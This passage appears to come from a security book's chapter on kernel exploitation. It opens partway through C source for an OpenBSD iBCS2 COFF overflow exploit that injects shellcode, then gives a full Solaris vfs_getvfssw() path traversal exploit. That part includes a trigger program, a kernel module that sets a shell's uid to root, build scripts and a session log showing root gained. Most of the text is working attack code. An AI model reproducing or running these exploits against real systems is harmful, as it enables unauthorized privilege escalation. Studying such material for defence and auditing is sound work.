    long        a_dstart;
};

/* magic */
#define COFF_ZMAGIC     0413

/*
 * COFF section header
 */

struct coff_scnhdr {
    char        s_name[8];
    long        s_paddr;
    long        s_vaddr;
    long        s_size;
    long        s_scnptr;
    long        s_relptr;
    long        s_lnnoptr;
    u_short     s_nreloc;
    u_short     s_nlnno;
    long        s_flags;
};

/* s_flags */
#define COFF_STYP_TEXT          0x20
#define COFF_STYP_DATA          0x40
#define COFF_STYP_SHLIB         0x800


void get_proc(pid_t, struct kinfo_proc *);
void sig_handler();

int
main(int argc, char **argv)
{
  u_int i, fd, debug = 0;
  u_char *ptr, *shptr;
  u_long *lptr;
  u_long pprocadr, offset;
  struct kinfo_proc kp;
  char *args[] = { "./ibcs2own", NULL};
  char *envs[] = { "RIP=theo", NULL};
  //COFF structures
  struct coff_filehdr fhdr;
  struct coff_aouthdr ahdr;
  struct coff_scnhdr  scn0, scn1, scn2;

   if(argv[1]) {
```

```
      if(!strncmp(argv[1], "-v", 2))
              debug = 1;
      else {
              printf("-v: verbose flag only\n");
              exit(0);
            }
    }

    ZERO(fhdr);
    fhdr.f_magic = COFF_MAGIC_I386;
    fhdr.f_nscns = 3; //TEXT, DATA, SHLIB
    fhdr.f_timdat = 0xdeadbeef;
    fhdr.f_symptr = 0x4000;
    fhdr.f_nsyms = 1;
    fhdr.f_opthdr = sizeof(ahdr); //AOUT opt header size
    fhdr.f_flags = COFF_F_EXEC;

    ZERO(ahdr);
    ahdr.a_magic = COFF_ZMAGIC;
    ahdr.a_tsize = 0;
    ahdr.a_dsize = 0;
    ahdr.a_bsize = 0;
    ahdr.a_entry = 0x10000;
    ahdr.a_tstart = 0;
    ahdr.a_dstart = 0;

    ZERO(scn0);
    memcpy(&scn0.s_name, ".text", 5);
    scn0.s_paddr = 0x10000;
    scn0.s_vaddr = 0x10000;
    scn0.s_size = 4096;
    scn0.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3);
    //file offset of .text segment
    scn0.s_relptr = 0;
    scn0.s_lnnoptr = 0;
    scn0.s_nreloc = 0;
    scn0.s_nlnno = 0;
    scn0.s_flags = COFF_STYP_TEXT;

    ZERO(scn1);
    memcpy(&scn1.s_name, ".data", 5);
    scn1.s_paddr = 0x10000 - 4096;
    scn1.s_vaddr = 0x10000 - 4096;
    scn1.s_size = 4096;
    scn1.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) +
4096;
    //file offset of .data segment
    scn1.s_relptr = 0;
    scn1.s_lnnoptr = 0;
    scn1.s_nreloc = 0;
```

```
    scn1.s_nlnno = 0;
    scn1.s_flags = COFF_STYP_DATA;

    ZERO(scn2);
    memcpy(&scn2.s_name, ".shlib", 6);
    scn2.s_paddr = 0;
    scn2.s_vaddr = 0;
    scn2.s_size = 0xb0; //HERE IS DA OVF!!! static_buffer = 128
    scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) +
2*4096;
    //file offset of .data segment
    scn2.s_relptr = 0;
    scn2.s_lnnoptr = 0;
    scn2.s_nreloc = 0;
    scn2.s_nlnno = 0;
    scn2.s_flags = COFF_STYP_SHLIB;

    offset = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096;
    ptr = (char *) malloc(offset);
    if(!ptr) {
            perror("malloc");
            exit(-1);
    }

    memset(ptr, 0xcc, offset);  /* fill int3 */

    /* copy sections */
    offset = 0;
    memcpy(ptr, (char *) &fhdr, sizeof(fhdr));
    offset += sizeof(fhdr);

    memcpy(ptr+offset, (char *) &ahdr, sizeof(ahdr));
    offset += sizeof(ahdr);

    memcpy(ptr+offset, (char *) &scn0, sizeof(scn0));
    offset += sizeof(scn0);

    memcpy(ptr+offset, &scn1, sizeof(scn1));
    offset += sizeof(scn1);

    memcpy(ptr+offset, (char *) &scn2, sizeof(scn2));
    offset += sizeof(scn2);

    lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \
           (sizeof(scn0) * 3) + 4096 + 4096 + 0xb0 - 8);

    shptr = (char *) malloc(4096);
    if(!shptr) {
            perror("malloc");
            exit(-1);
```

```
    }
    if(debug)
      printf("payload adr: 0x%.8x\t", shptr);

    memset(shptr, 0xcc, 4096);

    get_proc((pid_t) getppid(), &kp);
    pprocadr = (u_long) kp.kp_eproc.e_paddr;
    if(debug)
      printf("parent proc adr: 0x%.8x\n", pprocadr);

    *lptr++ = 0xdeadbeef;
    *lptr = (u_long) shptr;

    shellcode[5] = pprocadr & 0xff;
    shellcode[6] = (pprocadr >> 8) & 0xff;
    shellcode[7] = (pprocadr >> 16) & 0xff;
    shellcode[8] = (pprocadr >> 24) & 0xff;

    memcpy(shptr, shellcode, sizeof(shellcode)-1);

    unlink("./ibcs2own");
    if((fd = open("./ibcs2own", O_CREAT^O_RDWR, 0755)) < 0) {
                perror("open");
                exit(-1);
        }

    write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) +
4096*3);
    close(fd);
    free(ptr);

    signal(SIGSEGV, (void (*)())sig_handler);
    signal(SIGILL, (void (*)())sig_handler);
    signal(SIGSYS, (void (*)())sig_handler);
    signal(SIGBUS, (void (*)())sig_handler);
    signal(SIGABRT, (void (*)())sig_handler);
    signal(SIGTRAP, (void (*)())sig_handler);

    printf("\nDO NOT FORGET TO SHRED ./ibcs2own\n");
    execve(args[0], args, envs);
    perror("execve");
}

void
sig_handler()
{
   _exit(0);
}
```

```
void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
   u_int arr[4], len;

        arr[0] = CTL_KERN;
        arr[1] = KERN_PROC;
        arr[2] = KERN_PROC_PID;
        arr[3] = pid;
        len = sizeof(struct kinfo_proc);
        if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
                perror("sysctl");
                fprintf(stderr, "this is an unexpected error,
rerun!\n");
                exit(-1);
        }

}
```

Solaris vfs_getvfssw() Loadable Kernel Module Path Traversal Exploit

This section will be brief, because fewer steps are needed to build a reliable `vfs_getvfssw()` exploit than the previous OpenBSD exploit. Unlike the OpenBSD vulnerability, the `vfs_getvfssw()` vulnerability is fairly trivial to exploit. We need only create a simple exploit that will call one of the vulnerable system calls with a tricky `modname` argument. Additionally, we need a kernel module that will locate our process within the linked list of process descriptors and change its credentials to that of the root user. Writing the hostile kernel module may require prior experience in kernel-mode development; this activity is not within the scope of this book. We advise you to obtain a copy of *Solaris Internals*, by Jim Mauro and Richard McDougall, which is the most comprehensive Solaris kernel book around, and to become familiar with the Solaris kernel architecture.

There are many possible payloads for the `vfs_getvfssw()` vulnerability, but we will cover using it only to gain root access. You can easily take this technique a step further and develop much more interesting exploits that might, for example, target trusted operating systems, host intrusion prevention systems, and other security devices.

Crafting the Exploit

The following code will call the `sysfs()` system call with an argument of `../../../tmp/o0`. This will trick the kernel into loading `/tmp/sparcv9/o0` (if we are working with a 64-bit kernel) or `/tmp/o0` (if it is a 32-bit kernel). This is the module that we will be placing under the `/tmp` folder.

```
--------------------------------- o0o0.c -------------------------------
#include <stdio.h>
#include <sys/fstyp.h>
#include <sys/fsid.h>
#include <sys/systeminfo.h>

/*int sysfs(int opcode, const char *fsname); */

int
main(int argc, char **argv)
{
  char modname[] = "../../../tmp/o0";
  char buf[4096];
  char ver[32], *ptr;
  int sixtyfour = 0;

    memset((char *) buf, 0x00, 4096);
    if(sysinfo(SI_ISALIST, (char *) buf, 4095) < 0) {
        perror("sysinfo");
        exit(0);
     }

     if(strstr(buf, "sparcv9"))
        sixtyfour = 1;

     memset((char *) ver, 0x00, 32);
     if(sysinfo(SI_RELEASE, (char *) ver, 32) < 0) {
        perror("sysinfo");
        exit(0);
     }

     ptr = (char *) strstr(ver, ".");
     if(!ptr) {
         fprintf(stderr, "can't grab release version!\n");
         exit(0);
     }
     ptr++;

     memset((char *) buf, 0x00, 4096);
     if(sixtyfour)
       snprintf(buf, sizeof(buf)-1, "cp ./%s/o064 /tmp/sparcv9/o0", ptr);
     else
```

```
        snprintf(buf, sizeof(buf)-1, "cp ./%s/o032 /tmp/o0", ptr);

      if(sixtyfour)
         if(mkdir("/tmp/sparcv9", 0755) < 0) {
             perror("mkdir");
             exit(0);
         }

     system(buf);

     sysfs(GETFSIND, modname);
         //perror("hoe!");

    if(sixtyfour)
         system("/usr/bin/rm -rf /tmp/sparcv9");
      else
         system("/usr/bin/rm -f /tmp/o0");

}
```

The Kernel Module to Load

As we mentioned in the previous section, the following piece of code will shift through all the processes, locate ours (based on the name, such as `o0o0`), and update the `uid` field of the credential structure with zero, the root `uid`.

The next code fragment is the only relevant portion of the privilege escalation kernel module in relation to exploitation. The rest of the code is simply necessary stubs used in order to make the code a working, loadable kernel module.

```
[1]   mutex_enter(&pidlock);
[2]   for (p = practive; p != NULL; p = p->p_next) {

[3]          if(strstr(p->p_user.u_comm, (char *) "o0o0")) {

[4]             pp = p->p_parent;
[5]             newcr = crget();

[6]             mutex_enter(&pp->p_crlock);
                cr = pp->p_cred;
                crcopy_to(cr, newcr);
                pp->p_cred = newcr;
[7]             newcr->cr_uid = 0;
[8]             mutex_exit(&pp->p_crlock);

             }

         continue;
```

```
        }

[9]  mutex_exit(&pidlock);
```

We start iterating through the linked list of process structures at `[2]`. Just before iterating we need to grab the lock at `[1]` for the list. We do this so that nothing will change while we are parsing for our target process (in our case, the exploit process `./o0o0`). `practive` is the head pointer for the linked list, so we start there `[2]` and move to the next one by using the `p_next` pointer. On `[3]` we compare the name of the process with our exploit executables—it is arranged to have `o0o0` in its name. The name of the executable is stored in the `u_comm` array of the user structure, which is pointed to by the `p_user` of the process structure. The `strstr()` function actually searches for the first occurrence of string `o0o0` within the `u_comm`. If the special string is found in the process name, we grab the process descriptor of the parent process of the exploit executable at `[4]`, which is the shell interpreter. From this point, the code will create a new credentials structure for the shell `[5]`, lock the `mutex` for credential structure operations `[6]`, update the old credential structure of the shell, and change user ID to 0 (root user) at `[7]`. Privilege escalation code will conclude by unlocking the `mutex`s for both the credential structure and the process structure link list in `[8]` and `[9]`.

```
------------------------ moka.c ------------------------------------

#include <sys/systm.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/cred.h>
#include <sys/types.h>
#include <sys/proc.h>
#include <sys/procfs.h>
#include <sys/kmem.h>
#include <sys/errno.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/modctl.h>
extern struct mod_ops mod_miscops;

int g3mm3(void);

int g3mm3()
{

  register proc_t *p;
  register proc_t *pp;
  cred_t *cr, *newcr;
```

```
    mutex_enter(&pidlock);
      for (p = practive; p != NULL; p = p->p_next) {

             if(strstr(p->p_user.u_comm, (char *) "o0o0")) {

                pp = p->p_parent;
                newcr = crget();

                mutex_enter(&pp->p_crlock);
                cr = pp->p_cred;
                crcopy_to(cr, newcr);
                pp->p_cred = newcr;
                newcr->cr_uid = 0;
                mutex_exit(&pp->p_crlock);

              }

          continue;

        }

    mutex_exit(&pidlock);

    return 1;
}

static struct modlmisc modlmisc =
{
    &mod_miscops,
    "u_comm"
};

static struct modlinkage modlinkage =
{
    MODREV_1,
    (void *) &modlmisc,
    NULL
};

int _init(void)
{
    int i;

    if ((i = mod_install(&modlinkage)) != 0)
        //cmn_err(CE_NOTE, "");
                ;
#ifdef _DEBUG
    else
        cmn_err(CE_NOTE, "0o0o0o0o installed o0o0o0o0o0o0");
#endif
```

```
    i = g3mm3();
    return i;
}

int _info(struct modinfo *modinfop)
{
    return (mod_info(&modlinkage, modinfop));
}


int _fini(void)
{
    int i;

    if ((i = mod_remove(&modlinkage)) != 0)
        //cmn_err(CE_NOTE, "not removed");
                ;
#ifdef DEBUG
    else
        cmn_err(CE_NOTE, "removed");
#endif

    return i;
}
```

We will now provide two different shell scripts that will compile the kernel module for 64-bit and 32-bit kernels, respectively. We need to compile the kernel modules with proper compiler flags. This is the main purpose for the following shell scripts, because it will not be an easy task to determine the correct options if you do not come from a kernel-code development background.

```
----------------------------- make64.sh -------------------------------
/opt/SUNWspro/bin/cc -xCC -g -xregs=no%appl,no%float -xarch=v9 \
-DUSE_KERNEL_UTILS -D_KERNEL -D_B64 moka.c
ld -o moka -r moka.o
rm moka.o
mv moka o064
gcc -o o0o0 sysfs_ex.c
/usr/ccs/bin/strip o0o0 o064
---------------------------- make32.sh --------------------------------
/opt/SUNWspro/bin/cc -xCC -g -xregs=no%appl,no%float -xarch=v8 \
-DUSE_KERNEL_UTILS -D_KERNEL -D_B32 moka.c
ld -o moka -r moka.o
rm moka.o
mv moka o032
gcc -o o0o0 sysfs_ex.c
/usr/ccs/bin/strip o0o0 o032
```

Getting root (uid=0)

This final section covers how to get root, or `uid=0`, on the target Solaris computer. Let's look at how to run this exploit from a command prompt.

```
$ uname -a
SunOS slint 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
$ isainfo -b
64
$ id
uid=1001(ser) gid=10(staff)
$ tar xf o0o0.tar
$ ls -l
total 180
drwxr-xr-x   6 ser      staff        512 Mar 19  2002 o0o0
-rw-r--r--   1 ser      staff      90624 Aug 24 11:06 o0o0.tar
$ cd o0o0
$ ls
6           8           make.sh     moka.c      o032-8      o064-7
o064-9
sysfs_ex.c
7           9           make32.sh   o032-7      o032-9      o064-8
o0o0
$ id
uid=1001(ser) gid=10(staff)
$ ./o0o0
$ id
uid=1001(ser) gid=10(staff) euid=0(root)
$ touch toor
$ ls -l toor
-rw-r--r--   1 root     staff          0 Aug 24 11:18 toor
$
```

The exploit provided `[1]` will work on Solaris 7, 8, and 9, and for both 32- and 64-bit installations. We did not have access to outdated versions of Solaris OS (such as 2.6 and 2.5.1); therefore, the exploit lacks support for those versions, but we believe it can be compiled and safely tried against Solaris 2.5.1 and 2.6.

Conclusion

In this chapter, we exploited the kernel vulnerabilities discovered and discussed in Chapter 25. Crafting the payload to inject shellcode for the various kernel exploits can be difficult; in the OpenBSD exploit, it took quite a lot of work. Be aware that some kernel bugs will be easy to exploit, whereas others will require much more effort.

Hopefully, we were able to address certain kernel-level exploitation methods in order to get you started writing your exploit codes or maybe even secure your kernel code. We believe auditing kernel code is great fun and writing exploits for self found bugs are even greater fun. Many projects offer complete kernel source code, just waiting for you to cvs-up and audit. Happy hunting.